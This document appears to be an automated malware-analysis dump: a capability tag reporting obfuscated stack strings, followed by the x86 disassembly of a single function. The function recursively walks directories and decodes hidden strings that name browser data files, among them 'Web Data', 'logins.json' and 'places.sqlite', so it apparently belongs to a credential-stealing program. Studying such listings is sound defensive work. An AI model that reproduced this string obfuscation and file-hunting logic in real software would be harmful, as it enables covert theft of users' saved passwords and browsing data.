Function at 0x4231b5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453ba1
call fcn.004534f4
sub esp, 0x2b8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
and dword [ebp - 4], 0
mov esi, dword [edi + 0x354]
mov dl, 0x24
mov dword [ebp - 0x18], 0xe7824
xor ecx, ecx
mov dword [ebp - 0x114], ecx
cmp ecx, 2
jae 0x423203
mov al, byte [ebp + ecx - 0x17]
xor al, dl
mov byte [ebp + ecx - 0x17], al
inc ecx
mov dword [ebp - 0x114], ecx
mov dl, byte [ebp - 0x18]
jmp 0x4231e8
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x17]
push eax
mov ebx, dword [ebp + 8]
mov edx, ebx
lea ecx, [ebp - 0x184]
call fcn.00417b5f
cmp dword [eax + 0x14], 0x10
jb 0x423223
mov eax, dword [eax]
lea ecx, [ebp - 0x2c4]
push ecx
push eax
call esi
mov esi, eax
mov dword [ebp - 0xc4], esi
lea ecx, [ebp - 0x184]
call fcn.0040bc59
cmp esi, 0xffffffff
je 0x423b9f
xor eax, eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], eax
push 0xf
pop ecx
mov dword [ebp - 0x94], ecx
mov byte [ebp - 0xa8], al
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov byte [ebp - 0xc0], al
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], ecx
mov byte [ebp - 0xf4], al
lea ecx, [ebp - 0x298]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4232c3
sub ecx, edx
push ecx
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040bd17
test byte [ebp - 0x2c4], 0x10
je 0x4233fb
mov al, 0x13
mov word [ebp + 9], 0x3113
mov byte [ebp + 0xb], 0
xor edx, edx
mov dword [ebp - 0x118], edx
cmp edx, 1
jae 0x42332b
movsx ecx, al
and ecx, 0x8000000f
jns 0x423315
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx + 0xa]
sub al, cl
mov byte [ebp + edx + 0xa], al
inc edx
mov dword [ebp - 0x118], edx
mov al, byte [ebp + 9]
jmp 0x423300
mov byte [ebp + 0xb], 0
lea edx, [ebp + 0xa]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
jne 0x423a8f
add al, 0x23
mov dword [ebp - 0x1c], 0x313123
xor edx, edx
mov dword [ebp - 0x108], edx
cmp edx, 2
jae 0x423381
movsx ecx, al
and ecx, 0x8000000f
jns 0x42336b
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1b]
sub al, cl
mov byte [ebp + edx - 0x1b], al
inc edx
mov dword [ebp - 0x108], edx
mov al, byte [ebp - 0x1c]
jmp 0x423356
mov byte [ebp - 0x19], 0
lea edx, [ebp - 0x1b]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
jne 0x423a8f
mov dword [ebp - 0x120], 0x53c
mov esi, dword [ebp - 0x120]
xor esi, 0x53d
add esi, dword [ebp + 0xc]
lea eax, [ebp - 0xa8]
push eax
push 0x5c
mov edx, ebx
lea ecx, [ebp - 0xdc]
call fcn.0043daf1
mov edx, eax
lea ecx, [ebp - 0x184]
call fcn.00417ccd
push esi
push eax
mov ecx, edi
call fcn.004231b5
lea ecx, [ebp - 0x184]
call fcn.0040bc59
lea ecx, [ebp - 0xdc]
call fcn.0040bc59
jmp 0x4237b1
lea eax, [ebp - 0xa8]
push eax
push 0x5c
mov edx, ebx
lea ecx, [ebp - 0xdc]
call fcn.0043daf1
mov edx, eax
lea ecx, [ebp - 0x184]
call fcn.00417ccd
push eax
lea ecx, [ebp - 0xc0]
call fcn.0040cac9
lea ecx, [ebp - 0x184]
call fcn.0040bc59
lea ecx, [ebp - 0xdc]
call fcn.0040bc59
mov al, 0x29
mov dword [ebp - 0x5a], 0x70785529
mov dword [ebp - 0x56], 0x4d297772
mov dword [ebp - 0x52], 0x6a7d6a
xor edx, edx
mov dword [ebp - 0x124], edx
cmp edx, 0xa
jae 0x42348a
movsx ecx, al
and ecx, 0x8000000f
jns 0x423474
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x59]
sub al, cl
mov byte [ebp + edx - 0x59], al
inc edx
mov dword [ebp - 0x124], edx
mov al, byte [ebp - 0x5a]
jmp 0x42345f
mov byte [ebp - 0x4f], 0
lea edx, [ebp - 0x59]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x423516
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.00428994
mov al, 0x3b
mov dword [ebp - 0x29], 0x707b5a3b
mov word [ebp - 0x25], 0x6c7d
mov byte [ebp - 0x23], 0
xor edx, edx
mov dword [ebp - 0x128], edx
cmp edx, 5
jae 0x4234f4
movsx ecx, al
and ecx, 0x8000000f
jns 0x4234de
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x28]
sub al, cl
mov byte [ebp + edx - 0x28], al
inc edx
mov dword [ebp - 0x128], edx
mov al, byte [ebp - 0x29]
jmp 0x4234c9
mov byte [ebp - 0x23], 0
push ecx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc0]
call fcn.0040ca79
cmp eax, 0xffffffff
je 0x423a8f
jmp 0x4235d5
mov al, 0x64
mov dword [ebp - 0x32], 0x73734764
mov dword [ebp - 0x2e], 0x77696d6f
mov byte [ebp - 0x2a], 0
xor edx, edx
mov dword [ebp - 0x12c], edx
cmp edx, 7
jae 0x42355d
movsx ecx, al
and ecx, 0x8000000f
jns 0x423547
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x31]
sub al, cl
mov byte [ebp + edx - 0x31], al
inc edx
mov dword [ebp - 0x12c], edx
mov al, byte [ebp - 0x32]
jmp 0x423532
mov byte [ebp - 0x2a], 0
lea edx, [ebp - 0x31]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x423586
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.00428f68
jmp 0x423a8f
mov dl, 0x6f
mov dword [ebp - 0x4e], 0xd0a386f
mov dword [ebp - 0x4a], 0x1b0e2b4f
mov word [ebp - 0x46], 0xe
xor ecx, ecx
mov dword [ebp - 0x130], ecx
cmp ecx, 8
jae 0x4235bf
mov al, byte [ebp + ecx - 0x4d]
xor al, dl
mov byte [ebp + ecx - 0x4d], al
inc ecx
mov dword [ebp - 0x130], ecx
mov dl, byte [ebp - 0x4e]
jmp 0x4235a4
mov byte [ebp - 0x45], 0
lea edx, [ebp - 0x4d]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x4235f6
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.00429c3a
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.004296d8
jmp 0x423a8f
cmp byte [edi + 0x3c], 0
je 0x42365c
mov dl, 0x58
mov dword [ebp - 0x3b], 0x2b311058
mov dword [ebp - 0x37], 0x212a372c
mov byte [ebp - 0x33], 0
xor ecx, ecx
mov dword [ebp - 0x134], ecx
cmp ecx, 7
jae 0x423633
mov al, byte [ebp + ecx - 0x3a]
xor al, dl
mov byte [ebp + ecx - 0x3a], al
inc ecx
mov dword [ebp - 0x134], ecx
mov dl, byte [ebp - 0x3b]
jmp 0x423618
mov byte [ebp - 0x33], 0
lea edx, [ebp - 0x3a]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x42365c
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.0042abd5
jmp 0x423a8f
movaps xmm0, xmmword [0x407fe0]
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0x66756a
xor edx, edx
mov dword [ebp - 0x138], edx
cmp edx, 0x12
jae 0x4236a8
movsx ecx, byte [ebp - 0xd8]
and ecx, 0x8000000f
jns 0x423695
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xd7]
sub al, cl
mov byte [ebp + edx - 0xd7], al
inc edx
jmp 0x423676
mov byte [ebp - 0xc5], 0
lea edx, [ebp - 0xd7]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x4236d7
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.0042af94
jmp 0x423a8f
movaps xmm0, xmmword [0x407060]
movups xmmword [ebp - 0x15c], xmm0
xor ecx, ecx
mov dword [ebp - 0x13c], ecx
cmp ecx, 0xe
jae 0x423709
mov al, byte [ebp + ecx - 0x15b]
xor al, byte [ebp - 0x15c]
mov byte [ebp + ecx - 0x15b], al
inc ecx
jmp 0x4236e7
mov byte [ebp - 0x14d], 0
lea edx, [ebp - 0x15b]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x423738
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.0042b419
jmp 0x423a8f
mov dl, 0x22
mov dword [ebp - 0x66], 0x4e435522
mov dword [ebp - 0x62], 0xc56474e
mov dword [ebp - 0x5e], 0x564346
xor ecx, ecx
mov dword [ebp - 0x144], ecx
cmp ecx, 0xa
jae 0x423772
mov al, byte [ebp + ecx - 0x65]
xor al, dl
mov byte [ebp + ecx - 0x65], al
inc ecx
mov dword [ebp - 0x144], ecx
mov dl, byte [ebp - 0x66]
jmp 0x423757
mov byte [ebp - 0x5b], 0
lea edx, [ebp - 0x65]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x4237bc
mov dword [ebp - 0x148], 0xf8
mov eax, dword [ebp - 0x148]
xor eax, 0xfd
cmp dword [ebp + 0xc], eax
ja 0x4237b1
lea eax, [edi + 0x1fc]
push eax
push ebx
mov ecx, edi
call fcn.00422e60
mov esi, dword [ebp - 0xc4]
jmp 0x423a8f
mov dl, 0x48
mov dword [ebp - 0x22], 0x243b6648
mov word [ebp - 0x1e], 0x26
xor ecx, ecx
mov dword [ebp - 0x14c], ecx
cmp ecx, 4
jae 0x4237ee
mov al, byte [ebp + ecx - 0x21]
xor al, dl
mov byte [ebp + ecx - 0x21], al
inc ecx
mov dword [ebp - 0x14c], ecx
mov dl, byte [ebp - 0x22]
jmp 0x4237d3
mov byte [ebp - 0x1d], 0
push ecx
lea eax, [ebp - 0x21]
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040ca79
cmp eax, 0xffffffff
je 0x423839
push 0x40700c
lea edx, [ebp - 0xa8]
lea ecx, [ebp - 0x184]
call fcn.00417b5f
push eax
lea ecx, [edi + 0x100]
call fcn.00412646
lea ecx, [ebp - 0x184]
call fcn.0040bc59
jmp 0x423a8f
mov al, 0x73
mov dword [ebp - 0x44], 0x6c647073
mov dword [ebp - 0x40], 0x65673171
mov byte [ebp - 0x3c], 0
xor edx, edx
mov dword [ebp - 0x140], edx
cmp edx, 7
jae 0x423880
movsx ecx, al
and ecx, 0x8000000f
jns 0x42386a
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x43]
sub al, cl
mov byte [ebp + edx - 0x43], al
inc edx
mov dword [ebp - 0x140], edx
mov al, byte [ebp - 0x44]
jmp 0x423855
mov byte [ebp - 0x3c], 0
lea edx, [ebp - 0x43]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x4238af
cmp byte [edi + 6], 0
je 0x4238af
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.00423bc5
jmp 0x423a8f
mov dl, 0x41
mov dword [ebp - 0x73], 0x262e2d41
mov dword [ebp - 0x6f], 0x6f322f28
mov dword [ebp - 0x6b], 0x2f2e322b
mov byte [ebp - 0x67], 0
xor ecx, ecx
mov dword [ebp - 0xf8], ecx
cmp ecx, 0xb
jae 0x4238ed
mov al, byte [ebp + ecx - 0x72]
xor al, dl
mov byte [ebp + ecx - 0x72], al
inc ecx
mov dword [ebp - 0xf8], ecx
mov dl, byte [ebp - 0x73]
jmp 0x4238d2
mov byte [ebp - 0x67], 0
lea edx, [ebp - 0x72]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
jne 0x423a81
movaps xmm0, xmmword [0x407120]
movups xmmword [ebp - 0x16c], xmm0
xor ecx, ecx
mov dword [ebp - 0xfc], ecx
cmp ecx, 0xe
jae 0x423939
mov al, byte [ebp + ecx - 0x16b]
xor al, byte [ebp - 0x16c]
mov byte [ebp + ecx - 0x16b], al
inc ecx
jmp 0x423917
mov byte [ebp - 0x15d], 0
lea edx, [ebp - 0x16b]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
jne 0x423a81
cmp byte [edi + 0x3c], al
je 0x4239ec
mov dl, 4
mov dword [ebp - 0x90], 0x65687404
mov dword [ebp - 0x8c], 0x2a776167
mov dword [ebp - 0x88], 0x6d687577
mov word [ebp - 0x84], 0x6170
mov byte [ebp - 0x82], al
xor ecx, ecx
mov dword [ebp - 0x100], ecx
cmp ecx, 0xd
jae 0x4239bd
mov al, byte [ebp + ecx - 0x8f]
xor al, dl
mov byte [ebp + ecx - 0x8f], al
inc ecx
mov dword [ebp - 0x100], ecx
mov dl, byte [ebp - 0x90]
jmp 0x423999
mov byte [ebp - 0x82], 0
lea edx, [ebp - 0x8f]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x4239ec
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.0042cb47
jmp 0x423a8f
mov al, 0x54
mov dword [ebp - 0x81], 0x77655054
mov dword [ebp - 0x7d], 0x695a2478
mov dword [ebp - 0x79], 0x736d7776
mov word [ebp - 0x75], 0x72
xor edx, edx
mov dword [ebp - 0x104], edx
cmp edx, 0xc
jae 0x423a42
movsx ecx, al
and ecx, 0x8000000f
jns 0x423a29
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x80]
sub al, cl
mov byte [ebp + edx - 0x80], al
inc edx
mov dword [ebp - 0x104], edx
mov al, byte [ebp - 0x81]
jmp 0x423a14
mov byte [ebp - 0x74], 0
lea edx, [ebp - 0x80]
lea ecx, [ebp - 0xa8]
call fcn.00412c2f
test al, al
je 0x423a8f
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.0041ef9f
lea ecx, [edi + 0x280]
lea eax, [ebp - 0xf4]
push eax
call fcn.004124f0
jmp 0x423a8f
lea eax, [ebp - 0xc0]
push eax
mov ecx, edi
call fcn.0042b9f7
mov eax, dword [edi + 0x358]
lea ecx, [ebp - 0x2c4]
push ecx
push esi
call eax
test eax, eax
jne 0x4232ba
mov eax, dword [edi + 0x350]
push esi
call eax
mov ecx, dword [ebp - 0xe0]
mov esi, 0x1000
cmp ecx, 0x10
jb 0x423af6
inc ecx
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0xf4]
mov eax, edx
cmp ecx, esi
jb 0x423aed
add ecx, 0x23
mov dword [ebp - 0x11c], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423bba
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
xor ebx, ebx
mov dword [ebp - 0xe4], ebx
push 0xf
pop edi
mov dword [ebp - 0xe0], edi
mov byte [ebp - 0xf4], bl
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x423b4a
inc ecx
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0xc0]
mov eax, edx
cmp ecx, esi
jb 0x423b41
add ecx, 0x23
mov dword [ebp - 0x10c], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423bba
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], edi
mov byte [ebp - 0xc0], bl
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x423b99
inc ecx
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0xa8]
mov eax, edx
cmp ecx, esi
jb 0x423b90
add ecx, 0x23
mov dword [ebp - 0x110], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423bba
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov byte [ebp - 0xa8], bl
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8
call fcn.00448974
int3